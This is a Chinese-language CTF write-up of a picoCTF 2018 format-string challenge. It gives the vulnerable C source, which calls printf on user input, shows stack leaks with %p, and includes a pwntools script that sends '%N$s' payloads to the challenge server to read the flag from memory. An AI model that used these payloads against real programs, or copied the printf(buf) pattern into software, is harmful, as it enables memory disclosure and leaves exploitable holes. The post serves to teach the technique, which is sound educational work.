倒數第二篇了,還好這類的題目放在最後,有些題目真的很難懂阿!
今天只會講解一題,因為有些題目還解不出來XD
先來看看原始碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
char flag[64];
char *flag_ptr = flag;
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
memset(buf, 0, sizeof(flag));
memset(buf, 0, sizeof(buf));
puts("Time to learn about Format Strings!");
puts("We will evaluate any format string you give us with printf().");
puts("See if you can get the flag!");
FILE *file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
while(1) {
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
return 0;
}
這題沒有gets()
scanf()
這些輸入的方式,取而帶之的是fgets()
所以我們沒有辦法利用overflow的方式,不過這邊還是看到了一個很可疑的點
printf(buf)
他並不是像我們常用的printf("%s",buf)
,所以這邊會運用到 format string attack
https://www.owasp.org/index.php/Format_string_attack 這裡有介紹相關的 format string attack
的原理以及範例 可以參考看看
總之,我們先執行看看
因為前面的fgets
Flag已經存在stack裡面了但是我們不知道他是哪一個,那我們先試試看
我們可以輸入%p 他會將stack的內容印出來
> %p %p %p %p %p %p %p %p
0x40 0xf77295a0 0x8048647 0xf7762a74 0x1 0xf7739490 0xffc93284 0xffc9318c
這裡可以看到我們將stack的內容印出來了,接著我們只要寫一個python程式,讓他將第一個到第n個stack內容以%s
的方式印出來這樣一來,原本進到stack的Flag就會被我們印出來
以下是程式碼
from pwn import *
s = ''
for i in range(100):
if 'pico' in s:
break
r = remote('2018shell.picoctf.com', 57169)
r.recvuntil('> ')
r.sendline('%{}$s'.format(i))
s = r.recvline()
print s
可以看到第九次Flag就出現囉~